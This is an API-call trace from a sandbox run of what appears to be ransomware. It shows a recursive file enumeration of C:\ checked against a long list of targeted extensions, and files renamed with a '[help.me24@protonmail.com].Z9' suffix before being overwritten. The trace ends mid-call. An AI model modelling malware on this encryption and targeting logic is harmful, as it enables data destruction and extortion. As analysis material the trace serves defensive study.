	[0097.506] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0097.506] WriteFile (in: hFile=0x2b8, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0097.506] SetEndOfFile (hFile=0x2b8) returned 1
	[0097.507] CloseHandle (hObject=0x2b8) returned 1
	[0097.507] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.507] SetEndOfFile (hFile=0x338) returned 1
	[0097.507] CloseHandle (hObject=0x338) returned 1
	[0097.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0097.508] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1
	[0097.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.508] lstrlenW (lpString=".doc") returned 4
	[0097.508] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0097.508] lstrlenW (lpString=".docx") returned 5
	[0097.508] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0097.508] lstrlenW (lpString=".pdf") returned 4
	[0097.508] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0097.508] lstrlenW (lpString=".xls") returned 4
	[0097.508] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0097.508] lstrlenW (lpString=".xlsx") returned 5
	[0097.508] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0097.508] lstrlenW (lpString=".ppt") returned 4
	[0097.508] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0097.508] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.508] lstrlenW (lpString=".zip") returned 4
	[0097.508] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0097.508] lstrlenW (lpString=".rar") returned 4
	[0097.508] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0097.508] lstrlenW (lpString=".bz2") returned 4
	[0097.508] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString=".7z") returned 3
	[0097.509] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0097.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.509] lstrlenW (lpString=".dbf") returned 4
	[0097.509] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.509] lstrlenW (lpString=".1cd") returned 4
	[0097.509] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.509] lstrlenW (lpString=".jpg") returned 4
	[0097.509] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.509] lstrlenW (lpString=".doc") returned 4
	[0097.509] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString=".docx") returned 5
	[0097.509] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0097.509] lstrlenW (lpString=".pdf") returned 4
	[0097.509] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString=".xls") returned 4
	[0097.509] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString=".xlsx") returned 5
	[0097.509] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0097.509] lstrlenW (lpString=".ppt") returned 4
	[0097.509] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.509] lstrlenW (lpString=".zip") returned 4
	[0097.509] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString=".rar") returned 4
	[0097.509] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString=".bz2") returned 4
	[0097.509] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0097.509] lstrlenW (lpString=".7z") returned 3
	[0097.509] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0097.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.510] lstrlenW (lpString=".dbf") returned 4
	[0097.510] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0097.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.510] lstrlenW (lpString=".1cd") returned 4
	[0097.510] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0097.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0097.510] lstrlenW (lpString=".jpg") returned 4
	[0097.510] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0097.510] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0097.510] lstrlenW (lpString="nashorn.jar") returned 11
	[0097.510] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0097.511] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2022734) returned 1
	[0097.511] CloseHandle (hObject=0x338) returned 1
	[0097.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20
	[0097.511] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0097.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0097.511] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0097.512] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0x0) returned 1
	[0097.512] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.512] ReadFile (in: hFile=0x338, lpBuffer=0x3c36058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c36058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.516] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xa49c4, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.516] ReadFile (in: hFile=0x338, lpBuffer=0x3c76058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c76058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.535] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.535] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x1add4e, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0097.535] ReadFile (in: hFile=0x338, lpBuffer=0x3cb6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3cb6058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0097.556] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0097.556] WriteFile (hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x38cfca8, lpOverlapped=0x0) 

Thread:
	id = 21
	os_tid = 0xe8c

	[0070.138] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x31836e8
	[0070.138] lstrlenW (lpString="C:") returned 2
	[0070.138] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x3121350
	[0070.139] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0070.139] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0070.139] lstrlenW (lpString="$GetCurrent") returned 11
	[0070.139] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0070.139] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d40048
	[0070.139] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0070.139] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x3121310
	[0070.140] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0070.140] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0070.140] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0070.140] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0070.140] lstrlenW (lpString="Logs") returned 4
	[0070.140] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0070.140] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.140] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0070.140] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121610
	[0070.141] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x350308da, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.141] FindNextFileW (in: hFindFile=0x3121610, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a3ab30, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x34a3ab30, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x34ad347e, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="DOWNLE~1.Z9")) returned 1
	[0070.141] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[help.me24@protonmail.com].Z9") returned 79
	[0070.141] lstrlenW (lpString=".1cd") returned 4
	[0070.141] lstrcmpiW (lpString1=".1cd", lpString2="].Z9") returned -1
	[0070.141] lstrlenW (lpString=".3ds") returned 4
	[0070.141] lstrcmpiW (lpString1=".3ds", lpString2="].Z9") returned -1
	[0070.141] lstrlenW (lpString=".3fr") returned 4
	[0070.141] lstrcmpiW (lpString1=".3fr", lpString2="].Z9") returned -1
	[0070.141] lstrlenW (lpString=".3g2") returned 4
	[0070.141] lstrcmpiW (lpString1=".3g2", lpString2="].Z9") returned -1
	[0070.141] lstrlenW (lpString=".3gp") returned 4
	[0070.141] lstrcmpiW (lpString1=".3gp", lpString2="].Z9") returned -1
	[0070.141] lstrlenW (lpString=".7z") returned 3
	[0070.141] lstrcmpiW (lpString1=".7z", lpString2=".Z9") returned -1
	[0070.141] lstrlenW (lpString=".accda") returned 6
	[0070.141] lstrcmpiW (lpString1=".accda", lpString2="om].Z9") returned -1
	[0070.141] lstrlenW (lpString=".accdb") returned 6
	[0070.141] lstrcmpiW (lpString1=".accdb", lpString2="om].Z9") returned -1
	[0070.141] lstrlenW (lpString=".accdc") returned 6
	[0070.141] lstrcmpiW (lpString1=".accdc", lpString2="om].Z9") returned -1
	[0070.141] lstrlenW (lpString=".accde") returned 6
	[0070.141] lstrcmpiW (lpString1=".accde", lpString2="om].Z9") returned -1
	[0070.141] lstrlenW (lpString=".accdt") returned 6
	[0070.141] lstrcmpiW (lpString1=".accdt", lpString2="om].Z9") returned -1
	[0070.141] lstrlenW (lpString=".accdw") returned 6
	[0070.141] lstrcmpiW (lpString1=".accdw", lpString2="om].Z9") returned -1
	[0070.141] lstrlenW (lpString=".adb") returned 4
	[0070.141] lstrcmpiW (lpString1=".adb", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".adp") returned 4
	[0070.142] lstrcmpiW (lpString1=".adp", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".ai") returned 3
	[0070.142] lstrcmpiW (lpString1=".ai", lpString2=".Z9") returned -1
	[0070.142] lstrlenW (lpString=".ai3") returned 4
	[0070.142] lstrcmpiW (lpString1=".ai3", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".ai4") returned 4
	[0070.142] lstrcmpiW (lpString1=".ai4", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".ai5") returned 4
	[0070.142] lstrcmpiW (lpString1=".ai5", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".ai6") returned 4
	[0070.142] lstrcmpiW (lpString1=".ai6", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".ai7") returned 4
	[0070.142] lstrcmpiW (lpString1=".ai7", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".ai8") returned 4
	[0070.142] lstrcmpiW (lpString1=".ai8", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".anim") returned 5
	[0070.142] lstrcmpiW (lpString1=".anim", lpString2="m].Z9") returned -1
	[0070.142] lstrlenW (lpString=".arw") returned 4
	[0070.142] lstrcmpiW (lpString1=".arw", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".as") returned 3
	[0070.142] lstrcmpiW (lpString1=".as", lpString2=".Z9") returned -1
	[0070.142] lstrlenW (lpString=".asa") returned 4
	[0070.142] lstrcmpiW (lpString1=".asa", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".asc") returned 4
	[0070.142] lstrcmpiW (lpString1=".asc", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".ascx") returned 5
	[0070.142] lstrcmpiW (lpString1=".ascx", lpString2="m].Z9") returned -1
	[0070.142] lstrlenW (lpString=".asm") returned 4
	[0070.142] lstrcmpiW (lpString1=".asm", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".asmx") returned 5
	[0070.142] lstrcmpiW (lpString1=".asmx", lpString2="m].Z9") returned -1
	[0070.142] lstrlenW (lpString=".asp") returned 4
	[0070.142] lstrcmpiW (lpString1=".asp", lpString2="].Z9") returned -1
	[0070.142] lstrlenW (lpString=".aspx") returned 5
	[0070.142] lstrcmpiW (lpString1=".aspx", lpString2="m].Z9") returned -1
	[0070.143] lstrlenW (lpString=".asr") returned 4
	[0070.143] lstrcmpiW (lpString1=".asr", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".asx") returned 4
	[0070.143] lstrcmpiW (lpString1=".asx", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".avi") returned 4
	[0070.143] lstrcmpiW (lpString1=".avi", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".avs") returned 4
	[0070.143] lstrcmpiW (lpString1=".avs", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".backup") returned 7
	[0070.143] lstrcmpiW (lpString1=".backup", lpString2="com].Z9") returned -1
	[0070.143] lstrlenW (lpString=".bak") returned 4
	[0070.143] lstrcmpiW (lpString1=".bak", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".bay") returned 4
	[0070.143] lstrcmpiW (lpString1=".bay", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".bd") returned 3
	[0070.143] lstrcmpiW (lpString1=".bd", lpString2=".Z9") returned -1
	[0070.143] lstrlenW (lpString=".bin") returned 4
	[0070.143] lstrcmpiW (lpString1=".bin", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".bmp") returned 4
	[0070.143] lstrcmpiW (lpString1=".bmp", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".bz2") returned 4
	[0070.143] lstrcmpiW (lpString1=".bz2", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".c") returned 2
	[0070.143] lstrcmpiW (lpString1=".c", lpString2="Z9") returned -1
	[0070.143] lstrlenW (lpString=".cdr") returned 4
	[0070.143] lstrcmpiW (lpString1=".cdr", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".cer") returned 4
	[0070.143] lstrcmpiW (lpString1=".cer", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".cf") returned 3
	[0070.143] lstrcmpiW (lpString1=".cf", lpString2=".Z9") returned -1
	[0070.143] lstrlenW (lpString=".cfc") returned 4
	[0070.143] lstrcmpiW (lpString1=".cfc", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".cfm") returned 4
	[0070.143] lstrcmpiW (lpString1=".cfm", lpString2="].Z9") returned -1
	[0070.143] lstrlenW (lpString=".cfml") returned 5
	[0070.143] lstrcmpiW (lpString1=".cfml", lpString2="m].Z9") returned -1
	[0070.144] lstrlenW (lpString=".cfu") returned 4
	[0070.144] lstrcmpiW (lpString1=".cfu", lpString2="].Z9") returned -1
	[0070.144] lstrlenW (lpString=".chm") returned 4
	[0070.144] lstrcmpiW (lpString1=".chm", lpString2="].Z9") returned -1
	[0070.144] lstrlenW (lpString=".cin") returned 4
	[0070.144] lstrcmpiW (lpString1=".cin", lpString2="].Z9") returned -1
	[0070.144] lstrlenW (lpString=".class") returned 6
	[0070.144] lstrcmpiW (lpString1=".class", lpString2="om].Z9") returned -1
	[0070.153] lstrlenW (lpString=".clx") returned 4
	[0070.153] lstrcmpiW (lpString1=".clx", lpString2="].Z9") returned -1
	[0070.153] lstrlenW (lpString=".config") returned 7
	[0070.153] lstrcmpiW (lpString1=".config", lpString2="com].Z9") returned -1
	[0070.153] lstrlenW (lpString=".cpp") returned 4
	[0070.153] lstrcmpiW (lpString1=".cpp", lpString2="].Z9") returned -1
	[0070.153] lstrlenW (lpString=".cr2") returned 4
	[0070.153] lstrcmpiW (lpString1=".cr2", lpString2="].Z9") returned -1
	[0070.153] lstrlenW (lpString=".crt") returned 4
	[0070.153] lstrcmpiW (lpString1=".crt", lpString2="].Z9") returned -1
	[0070.153] lstrlenW (lpString=".crw") returned 4
	[0070.153] lstrcmpiW (lpString1=".crw", lpString2="].Z9") returned -1
	[0070.153] lstrlenW (lpString=".cs") returned 3
	[0070.153] lstrcmpiW (lpString1=".cs", lpString2=".Z9") returned -1
	[0070.153] lstrlenW (lpString=".css") returned 4
	[0070.154] lstrcmpiW (lpString1=".css", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".csv") returned 4
	[0070.154] lstrcmpiW (lpString1=".csv", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".cub") returned 4
	[0070.154] lstrcmpiW (lpString1=".cub", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dae") returned 4
	[0070.154] lstrcmpiW (lpString1=".dae", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dat") returned 4
	[0070.154] lstrcmpiW (lpString1=".dat", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".db") returned 3
	[0070.154] lstrcmpiW (lpString1=".db", lpString2=".Z9") returned -1
	[0070.154] lstrlenW (lpString=".dbf") returned 4
	[0070.154] lstrcmpiW (lpString1=".dbf", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dbx") returned 4
	[0070.154] lstrcmpiW (lpString1=".dbx", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dc3") returned 4
	[0070.154] lstrcmpiW (lpString1=".dc3", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dcm") returned 4
	[0070.154] lstrcmpiW (lpString1=".dcm", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dcr") returned 4
	[0070.154] lstrcmpiW (lpString1=".dcr", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".der") returned 4
	[0070.154] lstrcmpiW (lpString1=".der", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dib") returned 4
	[0070.154] lstrcmpiW (lpString1=".dib", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dic") returned 4
	[0070.154] lstrcmpiW (lpString1=".dic", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dif") returned 4
	[0070.154] lstrcmpiW (lpString1=".dif", lpString2="].Z9") returned -1
	[0070.154] lstrlenW (lpString=".divx") returned 5
	[0070.154] lstrcmpiW (lpString1=".divx", lpString2="m].Z9") returned -1
	[0070.154] lstrlenW (lpString=".djvu") returned 5
	[0070.154] lstrcmpiW (lpString1=".djvu", lpString2="m].Z9") returned -1
	[0070.154] lstrlenW (lpString=".dng") returned 4
	[0070.154] lstrcmpiW (lpString1=".dng", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".doc") returned 4
	[0070.155] lstrcmpiW (lpString1=".doc", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".docm") returned 5
	[0070.155] lstrcmpiW (lpString1=".docm", lpString2="m].Z9") returned -1
	[0070.155] lstrlenW (lpString=".docx") returned 5
	[0070.155] lstrcmpiW (lpString1=".docx", lpString2="m].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dot") returned 4
	[0070.155] lstrcmpiW (lpString1=".dot", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dotm") returned 5
	[0070.155] lstrcmpiW (lpString1=".dotm", lpString2="m].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dotx") returned 5
	[0070.155] lstrcmpiW (lpString1=".dotx", lpString2="m].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dpx") returned 4
	[0070.155] lstrcmpiW (lpString1=".dpx", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dqy") returned 4
	[0070.155] lstrcmpiW (lpString1=".dqy", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dsn") returned 4
	[0070.155] lstrcmpiW (lpString1=".dsn", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dt") returned 3
	[0070.155] lstrcmpiW (lpString1=".dt", lpString2=".Z9") returned -1
	[0070.155] lstrlenW (lpString=".dtd") returned 4
	[0070.155] lstrcmpiW (lpString1=".dtd", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dwg") returned 4
	[0070.155] lstrcmpiW (lpString1=".dwg", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dwt") returned 4
	[0070.155] lstrcmpiW (lpString1=".dwt", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".dx") returned 3
	[0070.155] lstrcmpiW (lpString1=".dx", lpString2=".Z9") returned -1
	[0070.155] lstrlenW (lpString=".dxf") returned 4
	[0070.155] lstrcmpiW (lpString1=".dxf", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".edml") returned 5
	[0070.155] lstrcmpiW (lpString1=".edml", lpString2="m].Z9") returned -1
	[0070.155] lstrlenW (lpString=".efd") returned 4
	[0070.155] lstrcmpiW (lpString1=".efd", lpString2="].Z9") returned -1
	[0070.155] lstrlenW (lpString=".elf") returned 4
	[0070.155] lstrcmpiW (lpString1=".elf", lpString2="].Z9") returned -1
